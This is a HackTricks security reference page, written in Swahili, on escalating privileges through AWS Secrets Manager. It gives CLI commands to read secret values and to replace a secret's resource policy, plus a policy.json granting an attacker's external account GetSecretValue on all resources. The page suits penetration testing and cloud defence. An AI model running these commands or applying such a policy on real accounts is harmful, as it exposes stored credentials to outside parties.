AWS - Secrets Manager Privesc

Support HackTricks

Secrets Manager

Kwa maelezo zaidi kuhusu meneja wa siri angalia:

secretsmanager:GetSecretValue

Mshambuliaji mwenye ruhusa hii anaweza kupata thamani iliyohifadhiwa ndani ya siri katika AWS Secretsmanager.

aws secretsmanager get-secret-value --secret-id <secret_name> # Get value

Madhara Yanayoweza Kutokea: Upatikanaji wa data nyeti sana ndani ya huduma ya AWS secrets manager.

secretsmanager:GetResourcePolicy, secretsmanager:PutResourcePolicy, (secretsmanager:ListSecrets)

Kwa ruhusa zilizotangulia, inawezekana kutoa ufikiaji kwa wahusika/akaunti nyingine (hata za nje) kupata siri. Kumbuka kwamba ili kusoma siri zilizofichwa kwa kutumia funguo za KMS, mtumiaji pia anahitaji kuwa na ufikiaji wa funguo za KMS (maelezo zaidi katika KMS Enum page).

aws secretsmanager list-secrets
aws secretsmanager get-resource-policy --secret-id <secret_name>
aws secretsmanager put-resource-policy --secret-id <secret_name> --resource-policy file:///tmp/policy.json

policy.json:

{
"Version" : "2012-10-17",
"Statement" : [ {
"Effect" : "Allow",
"Principal" : {
"AWS" : "arn:aws:iam::<attackers_account>:root"
},
"Action" : "secretsmanager:GetSecretValue",
"Resource" : "*"
} ]
}
Support HackTricks

Last updated